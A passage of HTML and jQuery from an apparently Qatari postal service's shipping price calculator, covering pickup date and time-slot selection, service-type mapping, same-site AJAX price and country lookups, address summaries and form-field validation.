        <!-- stage 4 start -->
        <!-- stage 4 end -->
        <!-- new  stage 6 start  -->
        <!-- new  stage 6 End  -->
        <!-- stage 5 start  -->
        <!-- stage 5 end  -->
        <!-- stage 6 start  -->
        <!-- stage 6 end  -->
        <!-- price calculator end-->
        <input type="hidden" id="pccalledfrom" name="pccalledfrom" value="HomePage" disabled="disabled">
        <input type="hidden" id="selectedservicetype1" name="selectedservicetype1" value="null" disabled="disabled">
        <input type="hidden" id="serviceType1" name="serviceType1" value="null" disabled="disabled">
        <input type="hidden" id="serviceSubType1" name="serviceSubType1" value="null" disabled="disabled">
        <input type="hidden" id="subType" name="subType" value="null">
        <input type="hidden" id="selectedservicetype" name="selectedservicetype" disabled="disabled">
        <input type="hidden" id="serviceType" name="serviceType" disabled="disabled">
        <input type="hidden" id="serviceSubType" name="serviceSubType" disabled="disabled">
        <input type="hidden" id="ProductName" name="ProductName" disabled="disabled">
        <!--<script src="/qp/scripts/jquery.js" type="text/javascript" language="javascript" ></script>-->
        <script src="/qp/scripts/jquery-ui.min.js" type="text/javascript" language="javascript"></script>
        <script src="/qp/scripts/bootstrap.min.js" type="text/javascript" language="javascript"></script>
        <script src="/qp/scripts/scripts.js" type="text/javascript" language="javascript"></script>
        <!--<script src="/qp/scripts/customScript.js" type="text/javascript" language="javascript" ></script>-->
        <!--<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>-->
        <!--<script src="/qp/scripts/jquery.js" type="text/javascript" language="javascript" ></script>-->
        <!--<script src="/qp/scripts/bootstrap.min.js" type="text/javascript" language="javascript" ></script>-->
        <!--<script src="/qp/scripts/scripts.js" type="text/javascript" language="javascript" ></script>-->
        <!-- form validations scripts -->
        <script src="/qp/scripts/jquery.validate.min.js" type="text/javascript" language="javascript"></script>
        <!-- <script src="/qp/scripts/form-validations.js" type="text/javascript" language="javascript" ></script>	-->
        <!--script src="https://cdnjs.cloudflare.com/ajax/libs/jquery-validate/1.17.0/jquery.validate.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery-validate/1.17.0/additional-methods.min.js"></script -->
        <script type="text/javascript">
          if (!String.prototype.startsWith) {
            String.prototype.startsWith = function(searchString, position) {
              position = position || 0;
              return this.indexOf(searchString, position) === position;
            };
          }
          if (!String.prototype.includes) {
            String.prototype.includes = function(search, start) {
              if (typeof start !== 'number') {
                start = 0;
              }
              if (start + search.length > this.length) {
                return false;
              } else {
                return this.indexOf(search, start) !== -1;
              }
            };
          }
          $(function() {
            var d = new Date();
            var day = d.getDay();
            var mxd = 2;
            if (day <= 2 || day > 5) {
              mxd = 2;
            } else if (day > 2 && day < 6) {
              mxd = 3;
            }
            var hrs = d.getHours();
            var mnd = (hrs > 18) ? 1 : 0;
            $(".datepicker1").datepicker({
              changeMonth: true,
              changeYear: true,
              allowInputToggle: true,
              minDate: mnd,
              maxDate: mxd,
              dateFormat: 'dd-mm-yy',
              beforeShowDay: function(date) {
                var day = date.getDay();
                return [day != 5, ''];
              }
            });
            $(".datepicker1").on("change", function() {
              var select = document.getElementById("timeSlot1");
              var pickupDate1 = $(".stage-6 .left-panel-price-form input[name='pickupDate']");
              var today = new Date();
              var time = today.toLocaleTimeString().replace(/([\d]+:[\d]{2})(:[\d]{2})(.*)/, "$1$3");
              //console.log("Current Time is::"+time);
              var AMPM;
              if (time.match(/\s(.*)$/)) {
                AMPM = time.match(/\s(.*)$/)[1];
              }
              //console.log("AMPM is:----"+AMPM);
              var timeSlot1 = $(".stage-6 .left-panel-price-form select[name='timeSlot']");
              time = time.split(":");
              time[0] = Number(time[0]);
              if (AMPM == "PM" && time[0] < 12) time[0] = time[0] + 12;
              if (AMPM == "AM" && time[0] == 12) time[0] = time[0] - 12;
              var pickupslots = ["09:00 AM - 11:00 AM", "11:00 AM - 01:00 PM", "01:00 PM - 03:00 PM", "03:00 PM - 05:00 PM", "05:00 PM - 07:00 PM", "07:00 PM - 09:00 PM"];
              if ((pickupDate1.val()).slice(0, 2) == new Date().getDate()) {
                //console.log("I am here 1111");
                $('#timeSlot1').find('option').remove().end().append('<option selected disabled value="Select Time Slot">' + $("#id_lblSelecttimeslot").val() + '</option>').val('Select Time Slot');
                //console.log("Current Time is innnnnn ifffff::   "+time[0]);		
                if (time[0] < 9) {
                  //console.log("I am here before 9, showing all");
                  for (var i = 0; i < pickupslots.length; i++) {
                    //console.log("showing time: "+pickupslots[i]);
                    var opt = pickupslots[i];
                    var el = document.createElement("option");
                    el.textContent = opt;
                    el.value = opt;
                    select.appendChild(el);
                  }
                } else if (time[0] >= 9 && time[0] < 11) {
                  //console.log("I am here 9 to 11");
                  for (var i = 1; i < pickupslots.length; i++) {
                    var opt = pickupslots[i];
                    var el = document.createElement("option");
                    el.textContent = opt;
                    el.value = opt;
                    select.appendChild(el);
                  }
                } else if (time[0] >= 11 && time[0] < 13) {
                  //console.log("I am here 11 to 1");
                  for (var i = 2; i < pickupslots.length; i++) {
                    var opt = pickupslots[i];
                    var el = document.createElement("option");
                    el.textContent = opt;
                    el.value = opt;
                    select.appendChild(el);
                  }
                } else if (time[0] >= 13 && time[0] < 15) {
                  //console.log("I am here 1 to 3");
                  for (var i = 3; i < pickupslots.length; i++) {
                    var opt = pickupslots[i];
                    var el = document.createElement("option");
                    el.textContent = opt;
                    el.value = opt;
                    select.appendChild(el);
                  }
                } else if (time[0] >= 15 && time[0] < 17) {
                  //console.log("I am here 3 to 5");
                  for (var i = 4; i < pickupslots.length; i++) {
                    var opt = pickupslots[i];
                    var el = document.createElement("option");
                    el.textContent = opt;
                    el.value = opt;
                    select.appendChild(el);
                  }
                } else if (time[0] >= 17 && time[0] < 19) {
                  //console.log("I am here 5 to 7");
                  for (var i = 5; i < pickupslots.length; i++) {
                    var opt = pickupslots[i];
                    var el = document.createElement("option");
                    el.textContent = opt;
                    el.value = opt;
                    select.appendChild(el);
                  }
                } else if (time[0] >= 19 && time[0] < 21) {
                  //console.log("I am here 7 to 9");
                  for (var i = 6; i < pickupslots.length; i++) {
                    var opt = pickupslots[i];
                    var el = document.createElement("option");
                    el.textContent = opt;
                    el.value = opt;
                    select.appendChild(el);
                  }
                }
              } else {
                $('#timeSlot1').find('option').remove().end().append('<option selected disabled value="Select Time Slot">' + $("#id_lblSelecttimeslot").val() + '</option>').val('Select Time Slot');
                //console.log("I am here showing all timings");
                for (var i = 0; i < pickupslots.length; i++) {
                  var opt = pickupslots[i];
                  var el = document.createElement("option");
                  el.textContent = opt;
                  el.value = opt;
                  select.appendChild(el);
                }
              }
            });
            var oReq, svcType, subType, svcSubType, weightInKg, maxLengthCheck, destination, typeOfCountry, volumeInCubicCm, zone, priceOfGoodForCarePackage;
            var typeJSON = "JSON";
            var Productname = "";
            var typePARAM = "application/x-www-form-urlencoded";
            var serviceCost = "";
            var fetchCountryFor = "";

            function getXMLHttpRequest() {
              if (window.XMLHttpRequest) {
                return new window.XMLHttpRequest;
              } else {
                try {
                  return new ActiveXObject("MSXML2.XMLHTTP.3.0");
                } catch (ex) {
                  return null;
                }
              }
            }

            function getHandler(url, cType, handler) {
              oReq = getXMLHttpRequest();
              if (oReq != null) {
                oReq.open("GET", url, true);
                oReq.setRequestHeader("Content-type", cType);
                oReq.onreadystatechange = handler;
                oReq.send();
              } else {
                window.console.log("AJAX (XMLHTTP) not supported.");
              }
              return false;
            }

            function destHandler() {
              $('.TotalForm .part2 .rowParticular .text-right').text("");
              getServiceType();
              $("#destination").empty();
              if (svcTypeCountry === "within-qatar") {
                $("#destination").append("<option selected value='-1'>Qatar</option>");
                $("#destination").attr('disabled', true);
                //calll country from API
                var jsonData = JSON.stringify({
                  "productName": fetchCountryFor
                });
                $.ajax({
                  type: "POST",
                  contentType: "application/json",
                  url: "/DigitalService/rest/digitalUtil/getCountryListForProduct",
                  data: jsonData,
                  success: function(res) {
                    $('.serverIssue').hide();
                    var jsonName = res.listOfCountry;
                    sessionStorage.setItem("countryList", jsonName);
                    weigtHandler();
                    for (i = 0; i < jsonName.length; i++) {
                      if (jsonName[i].country == "Qatar") {
                        $("#destination").find("option").attr('name', jsonName[i].maxWeight);
                        //getHandler(loadJson(), typeJSON, weigtHandler);
                        weigtHandler();
                        break;
                      }
                    }
                    //$("#destination").find("option").attr('name',30);
                    //weigtHandler();
                  },
                  error: function(res) {
                    console.log("Request Failed " + JSON.stringify(res));
                    $('.serverIssue').show();
                    $('.serverIssue .error').show();
                  }
                });
                $("#weight").attr("placeholder", $('#id_lblWeightinkilograms').attr("name"));
                $("#weight").attr("placeholder", $('#id_lblWeightinkilograms').val() + " 1 " + $('#id_lblKglblGrams').val());
                clearText();
                $(".bottomText").text("");
                $("#weight").attr("placeholder", $('#id_lblWeightinkilograms').attr("name"));
              } else {
                $("#destination").attr('disabled', false);
                $("#destination").append("<option value='-1'>" + $('#id_lblChooseDestination').val() + "</option>");
                $("#weight").attr("placeholder", $('#id_lblWeightinkilograms').attr("name"));
                //calll country from API
                var jsonData = JSON.stringify({
                  "productName": fetchCountryFor
                });
                $.ajax({
                  type: "POST",
                  contentType: "application/json",
                  url: "/DigitalService/rest/digitalUtil/getCountryListForProduct",
                  data: jsonData,
                  success: function(res) {
                    var jsonName = res.listOfCountry;
                    sessionStorage.setItem("countryList", jsonName);
                    for (i = 0; i < jsonName.length; i++) {
                      if (jsonName[i].country != "Qatar") {
                        $("#destination").append("<option value=" + i + " name=" + jsonName[i].maxWeight + ">" + jsonName[i].country + "</option>");
                      }
                    }
                  },
                  error: function(res) {
                    console.log("Request Failed " + JSON.stringify(res));
                    $('.serverIssue').show();
                    $('.serverIssue .error').show();
                  }
                });
              }
              //}
              //}
              //console.log("Desi Handler End :::");
            }

            function weigtHandler() {
              var selected = $("#destination option:selected").text();
              var selectedWt = $("#destination option:selected").attr("name");
              if (selected != null && selected != "") {
                getServiceType();
                // call name attribute
                $("#weight").attr("placeholder", $('#id_lblWeightinkilograms').val() + " " + selectedWt + " " + $('#id_lblKglblGrams').val());
                $("#weight").attr("max", selectedWt);
                maxLengthCheck = parseInt(selectedWt);
                if (svcType == "Letter" && subType == "Standard") {
                  $("#weight").attr("placeholder", $('#id_lblWeightinkilograms').val() + " 1000 " + $('#id_lblKglblGrams').attr("name"));
                  $("#weight").attr("max", "1000");
                  maxLengthCheck = 1000;
                  selectedWt = 1;
                }
                $('.TotalForm .part1 .max span:nth-child(1)').text(selectedWt + " " + $('#id_lblKglblGrams').val());
                $('.TotalForm .part1 .item-info span:nth-child(3)').text(selected);
                /*if(subType == "Global_priority")
                	zone = item.Zone;*/
              }
            }

            function priceHandler() {
              //console.log("pricehandler");
              getServiceType();
              var serviceCostStage6 = "";
              if (oReq.readyState == 4 /* complete */ ) {
                $('.serverIssue').hide();
                // console.log("oReq.responseText.trim() = "+oReq.responseText.trim());
                if (oReq.status == 200) {
                  var totalCost = parseFloat(oReq.responseText.trim());
                  var totalCostStage4 = totalCost;
                  serviceCost = totalCostStage4;
                  //console.log("old value: "+totalCost);
                  //$('.pickAddonBlock').show();
                  $(".pickCost").text("25.00");
                  // BUG 1459 ADDED CONDITION for svcType == "Letter"
                  /* if(subType === "Standard" && svcType == "Letter"){
				totalCost=(parseFloat(totalCost)  + 8).toFixed(2);
				totalCostStage4=totalCost;
			}*/
                  if (svcTypeCountry == "within-qatar" && subType === "Express") {
                    $('.stage-6 .pickAddonBlock').show();
                    $(".pickCost").text("25.00");
                    totalCost = (parseFloat(totalCost) + 25).toFixed(2);
                    //console.log("new value with pickup: "+totalCost);
                  }
                  //REQUESTED BY POKHRAJ -CODE
                  //console.log('weight=='+$("#weight"));
                  if (($("#weight") != null) && ($("#weight").val() == "0")) {
                    totalCost = 0;
                  }
                  //END OF CODE
                  $('.TotalForm .part3 .font-big.newvalue').text(totalCost);
                  $('.mobile-price-view .right-col .newvalue').text(totalCost);
                  $('.TotalForm .part3 .font-big.newtrackvalue').text(totalCostStage4);
                  $('.mobile-price-view .right-col .newtrackvalue').text(totalCostStage4);
                  $('.stage-5 .TotalForm .part3 .font-big.newvalue').text(totalCostStage4);
                  $('.stage-5 .mobile-price-view .right-col .newvalue').text(totalCostStage4);
                  serviceCostStage6 = serviceCost;
                  serviceCost = serviceCost + " " + $('#id_lblQAR').val();
                  //console.log('serviceCost=='+serviceCost);
                  //$('.TotalForm .part2 .floatleft .border-bottom .rowParticular .left-col.wid35per.floatright.text-right').text(serviceCost+);
                  $('.TotalForm .part2 .rowParticular .text-right').text(serviceCost);
                }
                //console.log("subType is in price handler:::"+totalCost);
              } else {
                $('.serverIssue').show();
                $('.serverIssue .error').show();
              }
              $('.TotalForm .part2 .rowParticular .text-right.font-big').text(serviceCost);
              //serviceCostStage6
              $('.serviceCostStage6').text(serviceCostStage6);
              //$('.TotalForm .part2 .floatleft .border-bottom .rowParticular .left-col.wid35per.floatright.text-right').text(serviceCost);
            }

            function loadJson() {
              var svcType;
              //svcType = $('#serviceType').val();
              if ($('#pccalledfrom').val() === "DetailPage") {
                if ($('#serviceType1').val().trim() == "Package") svcType = "parcel.json";
                else if ($('#serviceType1').val().trim() == "Letter") svcType = "mail.json";
              } else {
                //console.log("Service ::: " + $('#serviceType').val().trim());
                if ($('#serviceType').val().trim() == "Package") svcType = "parcel.json";
                else if ($('#serviceType').val().trim() == "Letter") svcType = "mail.json";
              }
              var url = "/qp/data/" + svcType;
              //console.log("URL = " + url + " svcType = " + svcType );
              return url;
            }

            function getServiceType() {
              // i should read three arg values here based on ajax call
              if ($('#pccalledfrom').val() === "DetailPage") {
                svcTypeCountry = $('#selectedservicetype1').val().trim();
                svcType = $('#serviceType1').val().trim();
                //console.log("We are in service Type :: " + svcType );
                subType = $('#serviceSubType1').val().trim();
                //console.log("We are in sub Type :: " + subType );
              } else {
                svcTypeCountry = $('#selectedservicetype').val().trim();
                svcType = $('#serviceType').val().trim();
                //console.log("We are in service Type :: " + svcType );
                subType = $('#serviceSubType').val().trim();
                //console.log("We are in sub Type :: " + subType );
              }
              if (svcTypeCountry == "within-qatar") {
                if (svcType == "Package" && subType == "Standard") {
                  svcSubType = "Std_Parcel";
                  Productname = "qatarstdPackage";
                  fetchCountryFor = "Standard";
                } else if (svcType == "Package" && subType == "Express") {
                  svcSubType = "Exp_Parcel";
                  Productname = "qatarexpressPackage";
                  fetchCountryFor = "EMS";
                } else if (svcType == "Letter" && subType == "Standard") {
                  svcSubType = "Std_Mail";
                  Productname = "qatarstdletter";
                  fetchCountryFor = "Standard";
                } else if (svcType == "Letter" && subType == "Express") {
                  svcSubType = "Exp_Mail";
                  Productname = "qatarexpressPackage";
                  fetchCountryFor = "EMS";
                }
              } else if (svcTypeCountry == "Overseas") {
                if (svcType == "Package" && subType == "Standard") {
                  svcSubType = "Std_Parcel";
                  Productname = "overseasstdpackage";
                  fetchCountryFor = "Standard";
                } else if (svcType == "Package" && subType == "Express") {
                  svcSubType = "Exp_Parcel";
                  Productname = "overseasexpresspackage";
                  fetchCountryFor = "EMS";
                } else if (svcType == "Package" && subType == "Global_priority") {
                  svcSubType = "Gbl_Parcel";
                  Productname = "overseasgppackage";
                } else if (svcType == "Letter" && subType == "Standard") {
                  svcSubType = "Std_Mail";
                  Productname = "overseasstdletter";
                  fetchCountryFor = "Standard";
                } else if (svcType == "Letter" && subType == "Express") {
                  svcSubType = "Exp_Mail";
                  Productname = "overseasexpressletter";
                  fetchCountryFor = "EMS";
                } else if (svcType == "Letter" && subType == "Global_priority") {
                  svcSubType = "Gbl_Mail";
                  Productname = "overseasgpletter";
                }
              }
              $("#ProductName").val(Productname);
            }
            //BUG 1459
            /*$(document).on("click", "input[name=tracking]",function(){
            var totalCost = parseFloat($('.TotalForm .part3 .font-big').html());

                   if ($(this).is(':checked')) {
                          console.log("Current totalCost1 ="+totalCost);
            	      totalCost=(totalCost  + 8).toFixed(2);
                          console.log("Current totalCost1 ="+totalCost);
                   }else{
                          console.log("Current totalCost2 ="+totalCost);
                          totalCost=(totalCost  - 8).toFixed(2);
                          console.log("Current totalCost2 ="+totalCost);
                   }
            //$('.TotalForm .part3 .font-big').html( (totalCost);
            $('.TotalForm .part3 .font-big').text(totalCost);
            });*/
            function clearText() {
              $("#weight").val("");
              $('.TotalForm .part1 .max span:nth-child(1)').text("");
              //$('.TotalForm .part3 .font-big').text("");
              $("#dLength").val("");
              $("#dWidth").val("");
              $("#dHeight").val("");
              $("#carePackageamountId").val("");
              $('[name="carePackageamount"]').val("");
              //$("#crtOrder").attr("disabled", "disabled");
              $("#itemdesc").val("");
              $("input[name=itemvalue]").val("");
              $('.TotalForm .part2 .rowParticular .text-right').text("");
              $("input[type=checkbox]").prop("checked", false);
              $("select[name=timeSlot]").val($("select[name=timeSlot] option:first").val());
              $("input[name=pickupDate]").val("");
              $('#isweightexceed').val("");
              $(".callcybersource").removeClass("payment-selectedstyle");
              $("input[name=fullName]").val("");
              $("select[name=city]").val("");
              $("select[name=zoneNo]").val("");
              $("select[name=streetName]").val("");
              $("select[name=buildingName]").val("");
              $("input[name=villaNo]").val("");
              $("input[name=floorNo]").val("");
              $("input[name=poBox]").val("");
              $("#mobilenummask").val("");
              $("input[name=email]").val("");
              $("input[name=pfullname]").val("");
              $("select[name=pcity]").val("");
              $("select[name=pzone]").val("");
              $("select[name=pstreet]").val("");
              $("select[name=pbuilding]").val("");
              $("input[name=pvilla]").val("");
              $("input[name=pfloor]").val("");
              $("input[name=ppobox]").val("");
              $("input[name=pmobile]").val("");
              $("input[name=pemail]").val("");
              $("input[name=rfullName]").val("");
              $("select[name=rcity]").val("");
              $("select[name=rzoneno]").val("");
              $("select[name=rstreetno]").val("");
              $("select[name=rbuildingno]").val("");
              $("input[name=rvillano]").val("");
              $("input[name=rfloorno]").val("");
              $("input[name=rpobox]").val("");
              $("input[name=rmobileno]").val("");
              $("input[name=remailadd]").val("");
            }
            $('.servicepreferencebox').click(function() {
              $('#selectedservicetype').val("");
              $('#selectedservicetype').val($(this).find(".middle").attr("id"));
              svcTypeCountry = $('#selectedservicetype').val().trim();
              //console.log("Selected Country for Service::::::"+$(this).find(".middle").attr("id"));
            });
            $('.serviceboxcalculator').click(function() {
              if (svcTypeCountry == "within-qatar") {
                $(".overseasglobal").hide();
              } else {
                $(".overseasglobal").show();
              }
              $('#serviceType').val("");
              $('#serviceType').val($(this).find(".middle").attr("id"));
              //console.log("Selected Service :::::"+$(this).find(".middle").attr("id"));
            });
            if ($('#pccalledfrom').val() === "DetailPage") {
              // console.log("I am coming here now"+$('#serviceType1').val());
              // console.log("I am coming here now"+$('#serviceSubType1').val());
              // console.log("I am coming here now"+$('#selectedservicetype1').val());
              svcTypeCountry = $('#selectedservicetype1').val();
              clearText();
              //$(".stage-4").show();
              //console.log("Setting id = " + $("#serviceSubType1").val());
              //$('#serviceSubType').val($(this).find(".serviceHead .rightPart .serviceName").attr("id"));
              $('.TotalForm .part1 .item-info span:nth-child(2)').text("");
              $('.TotalForm .part1 .item-info span:nth-child(3)').text("");
              $('.TotalForm .part1 .item-info span:nth-child(2)').text($("#serviceSubType1").val());
              getServiceType();
              getHandler(loadJson(), typeJSON, destHandler);
            }
            $('.serviceBox').click(function() {
              $('#serviceSubType').val("");
              clearText();
              //console.log("Setting id = " + $(this).find(".serviceHead .rightPart .serviceName").attr("id"));
              $('#serviceSubType').val($(this).find(".serviceHead .rightPart .serviceName").attr("id"));
              $('.TotalForm .part1 .item-info span:nth-child(2)').text("");
              $('.TotalForm .part1 .item-info span:nth-child(3)').text("");
              $('.TotalForm .part1 .item-info span:nth-child(2)').text($(this).find(".serviceHead .rightPart .serviceName").text());
              var servicetypeval = $('#serviceSubType').val().trim();
              var selectedservicetype = $('#selectedservicetype').val().trim();
              var svcTypeval = $('#serviceType').val().trim();
              //console.log("Setting id"  + servicetypeval  + " ==" +svcTypeval  ); 
              $("#regTrack").hide();
              $("#registerProceed").hide();
              if (servicetypeval == "Express" && selectedservicetype == "within-qatar") {
                //$("#registerProceed").show();
                $('.mobile-price-view p').text($("#id_lblQatarE").val());
                fetchCountryFor = "EMS";
              } else if (servicetypeval == "Express" && selectedservicetype == "Overseas") {
                $('.mobile-price-view p').text($("#id_lblGlobalE").val());
                fetchCountryFor = "EMS";
              } else if (servicetypeval == "Standard" && selectedservicetype == "within-qatar") {
                $('.mobile-price-view p').text($("#id_lblQatarS").val());
                fetchCountryFor = "Standard";
              } else if (servicetypeval == "Standard" && selectedservicetype == "Overseas") {
                $('.mobile-price-view p').text($("#id_lblGlobalS").val());
                fetchCountryFor = "Standard";
              }
              if (svcTypeval.trim() == "Letter" && servicetypeval.trim() == "Standard") {
                $("#regTrack").show();
                $('#isweightexceed').next().hide();
                $('#isweightexceed').prev().show();
              } else {
                $('#isweightexceed').next().show();
                $('#isweightexceed').prev().hide();
              }
              //getHandler(loadJson(), typeJSON, destHandler);
              destHandler();
            });
            $('.sendMethod').click(function() {
              // console.log("in send method for address updation"+$(".stage-5 .left-panel-price-form input[name='city']").val() );
              //$('#sendMethod').text("");
              //$('#sendMethod').text($(this).find(".radio .bgWhite span:nth-child(2)").text());
              $('.sdrDetails').html("");
              var addhtml = "<p><b>" + $("#id_lblSenderAddress").val() + "</b></p>";
              addhtml += "<p>" + $(".stage-6 .left-panel-price-form input[name='fullName']").val() + ",";
              addhtml += $(".stage-6 .left-panel-price-form select[name='city']").val() + ",";
              addhtml += $(".stage-6 .left-panel-price-form select[name='zoneNo']").val() + ",";
              addhtml += $(".stage-6 .left-panel-price-form select[name='streetName']").val() + ",";
              addhtml += $(".stage-6 .left-panel-price-form select[name='buildingName']").val() + "</p>";
              addhtml += "<p>" + $(".stage-6 .left-panel-price-form input[name='villaNo']").val() + ",";
              addhtml += $(".stage-6 .left-panel-price-form input[name='floorNo']").val() + "</p>";
              addhtml += "<p> POBox::  " + $(".stage-6 .left-panel-price-form input[name='poBox']").val() + "</p>";
              addhtml += "<p> Mobile::  " + $(".stage-6 .left-panel-price-form input[name='mobileNumber']").val() + "</p>";
              addhtml += "<p> Email::  " + $(".stage-6 .left-panel-price-form input[name='email']").val() + "</p>";
              sessionStorage.setItem("senderaddress", addhtml);
              $('.sdrDetails').append(addhtml);
            });
            /* $("#weight").bind("keyup",function(e){
            	
            	
            }); */
            $('.recMethod').click(function() {
              //$('#recMethod').text("");
              $('.recInfo').text("");
              //$('#recMethod').text($(this).find(".radio .bgWhite span:nth-child(2)").text());
              //$('#recInfo').text($(this).find(".radio .bgWhite span:nth-child(2)").text());
              //$('.TotalForm .part2 span:nth-child(1)').html("");
              // console.log("in receive method for address updation"+$(".stage-8 .left-panel-price-form input[name='AddressLine1']").val());
              if (svcTypeCountry == "within-qatar") {
                var addhtml = "<p><b>" + $("#id_lblRecipientAddress").val() + "</b></p>";
                //var addhtml = "<p>"+$(".stage-8 .left-panel-price-form input[name='rfullName']").val() +",";
                addhtml += "<p>" + $(".stage-8 .left-panel-price-form input[name='rfullName']").val() + ",";
                addhtml += $(".stage-8 .left-panel-price-form select[name='rcity']").val() + ",";
                addhtml += $(".stage-8 .left-panel-price-form select[name='rzoneno']").val() + "</p>";
                addhtml += "<p>" + $(".stage-8 .left-panel-price-form select[name='rstreetno']").val() + ",";
                addhtml += $(".stage-8 .left-panel-price-form select[name='rbuildingno']").val() + ",";
                addhtml += $(".stage-8 .left-panel-price-form input[name='rvillano']").val() + ",";
                addhtml += $(".stage-8 .left-panel-price-form input[name='rfloorno']").val() + "</p>";
                addhtml += "<p> POBox::  " + $(".stage-8 .left-panel-price-form input[name='rpobox']").val() + "</p>";
                addhtml += "<p> Mobile::  " + $(".stage-8 .left-panel-price-form input[name='rmobileno']").val() + "</p>";
                addhtml += "<p> Email::  " + $(".stage-8 .left-panel-price-form input[name='remailadd']").val() + "</p>";
                sessionStorage.setItem("recaddres", addhtml);
                $('.recInfo').append(addhtml);
              } else if (svcTypeCountry == "Overseas") {
                //var addhtml = "<p>"+$(".stage-8 .left-panel-price-form input[name='rfullName']").val() +",";
                var addhtml = "<p><b>Recipient Address</b></p>";
                addhtml += "<p>" + $(".stage-8 .left-panel-price-form input[name='AddressLine1']").val() + ",";
                addhtml += $(".stage-8 .left-panel-price-form input[name='AddressLine1']").val() + ",";
                addhtml += $(".stage-8 .left-panel-price-form input[name='AddressLine2']").val() + ",";
                addhtml += $(".stage-8 .left-panel-price-form input[name='City']").val() + "</p>";
                addhtml += "<p>" + $(".stage-8 .left-panel-price-form input[name='State']").val() + "</p>";
                addhtml += "<p>" + $(".stage-8 .left-panel-price-form input[name='Zip']").val() + "</p>";
                addhtml += "<p> Mobile::  " + $(".stage-8 .left-panel-price-form input[name='rmobileNumber']").val() + "</p>";
                addhtml += "<p> Email::  " + $(".stage-8 .left-panel-price-form input[name='rEmail']").val() + "</p>";
                sessionStorage.setItem("recaddres", addhtml);
                $('.recInfo').append(addhtml);
              }
            });
            $("#destination").on('change', function() {
              clearText();
              $(".bottomText").text("");
              $("#bottomTextreg").text("");
              $("#weight").attr("placeholder", $('#id_lblWeightinkilograms').attr("name"));
              $('.TotalForm .part3 .font-big.newtrackvalue').text("");
              $('.TotalForm .part2 .rowParticular .floatright').text("");
              $('.mobile-price-view .right-col .newtrackvalue').text("");
              getHandler(loadJson(), typeJSON, weigtHandler);
            })

            function isInt(n) {
              var isinteger = false;
              if (Math.floor(n) == n && $.isNumeric(n)) isinteger = true;
              return isinteger;
            }
            var regionArr = getTypeOfCountry();
            var region = "";

            function getTypeOfCountry() {
              $.ajax({
                type: "get",
                contentType: "application/json",
                url: "/qp/data/mapping.json",
                data: "",
                success: function(parseRes) {
                  regionArr = parseRes;
                },
                error: function(parseRes) {
                  // console.log("Res = "+JSON.stringify(parseRes.responseText)); 
                }
              });
            }
            /* $(".tracking-checkbox").change(function(){
                    if( $(this).prop("checked") == true  && ($("#weight").val() != "") )  
            		{
            			$("#bottomTextreg").text("");
            			$("#registerProceed").attr("disabled", false);
            			
            		}else{
            			$("#registerProceed").attr("disabled", true);
            			$("#bottomTextreg").text("Please check this to Proceed Further");
            		}
                });
            	$('input[id=weight]').on('focusout', function(){ 
            	//$("#weight").blur(function() {
            	  if(subType === "Standard" ){
            		// console.log("here in subtye tandard");
            		// create order button should not be enabled
            		if(($(this).val() != "") ){
            			// console.log("false");
            	$("#registerProceed").attr("disabled", false);
            	}else{
            		$(".bottomText").text("Enter the weight of the parcel in kilograms with one decimal");
            		$("#registerProceed").attr("disabled", true);
            	}
            	}else 
            	{
            		if(($(this).val() != "") ){
            	$("#registerProceed").attr("disabled", false);
            	}
            	}
            	});

            	$('input[name=itemvalue]').on('focusout', function(){ 
            	if(($(this).val() == "") ){
            	$("#crtOrder").attr("disabled", true);
            	$("#bottomTextitemval").show();
            	
            	}else
            	{
            		$("#bottomTextitemval").hide();
            		$("#crtOrder").attr("disabled", false);
            	}
            	
            	
            	});
            	$('input[name=itemvalue]').bind('keyup', function(){ 
            	var itemvalue =  $(this).val();
            	if(isNaN(itemvalue) || itemvalue == "")
            		$('input[name=itemvalue]').val("");
            	});
            	 $("#itemdesc").change(function(){
            	if(($(this).val() == "") ){
            	$("#crtOrder").attr("disabled", true);
            	$("#bottomTextitemdesc").show();
            	}else
            	{
            		$("#bottomTextitemdesc").hide();
            		$("#crtOrder").attr("disabled", false);
            	}
            	}); */
            $('input[name=poBox]').bind('keyup', function() {
              var poBoxvalue = $(this).val();
              var regfloatexp = new RegExp(/[-+]?([0-9]*.[0-9]+|[0-9]+)/);
              $("#poBoxErr").css('display', 'none');
              if (isNaN(poBoxvalue) || regfloatexp.test(poBoxvalue) == false) {
                //console.log(poBoxvalue);
                $("#poBoxErr").css('display', 'block');
              }
            });
            $('input[name=rpobox]').bind('keyup', function() {
              var rpoboxvalue = $(this).val();
              var regfloatexp = new RegExp(/[-+]?([0-9]*.[0-9]+|[0-9]+)/);
              $("#delPobErr").css('display', 'none');
              if (isNaN(rpoboxvalue) || regfloatexp.test(rpoboxvalue) == false) {
                // console.log(rpoboxvalue);
                $("#delPobErr").css('display', 'block');
              }
            });
            $("#mobilenummask").bind('keyup', function() {
              var mobNovalue = $(this).val();
              var regfloatexp = new RegExp(/[-+]?([0-9]*.[0-9]+|[0-9]+)/);
              $("#mobileNumberErr").css('display', 'none');
              if (isNaN(mobNovalue) || regfloatexp.test(mobNovalue) == false) {
                // console.log(mobNovalue);
                $("#mobileNumberErr").css('display', 'block');
              }
            });
            $('input[name=pmobile]').bind('keyup', function() {
              var pmobNovalue = $(this).val();
              var regfloatexp = new RegExp(/[-+]?([0-9]*.[0-9]+|[0-9]+)/);
              $("#pmobileNumberErr").css('display', 'none');
              if (isNaN(pmobNovalue) || regfloatexp.test(pmobNovalue) == false) {
                // console.log(pmobNovalue);
                $("#pmobileNumberErr").css('display', 'block');
              }
            });
            $('input[name=rmobileno]').bind('keyup', function() {
              var rmobNovalue = $(this).val();
              var regfloatexp = new RegExp(/[-+]?([0-9]*.[0-9]+|[0-9]+)/);
              $("#delMobileErr").css('display', 'none');
              if (isNaN(rmobNovalue) || regfloatexp.test(rmobNovalue) == false) {
                // console.log(rmobNovalue);
                $("#delMobileErr").css('display', 'block');
              }
            });
            $("#weight").bind("keyup", function(e) {
              $(".bottomText").text("");
              $('#isweightexceed').val("");
              $('#maxweighterr span').text(' (' + maxLengthCheck + ')');
              $("#maxweighterr").hide();
              $('.TotalForm .part3 .font-big').text("");
              $("input[name=tracking]").prop("checked", false);
              var regfloatexp = new RegExp(/[-+]?([0-9]*.[0-9]+|[0-9]+)/);
              var url;
              //console.log( $("#weight").val() + " test="+  $.isNumeric($("#weight").val()) );
              var enteredval = $("#weight").val();
              if (enteredval.startsWith("00")) $("#weight").val("0");
              if (enteredval == '.') {
                if (svcType == "Letter" && subType == "Standard") {
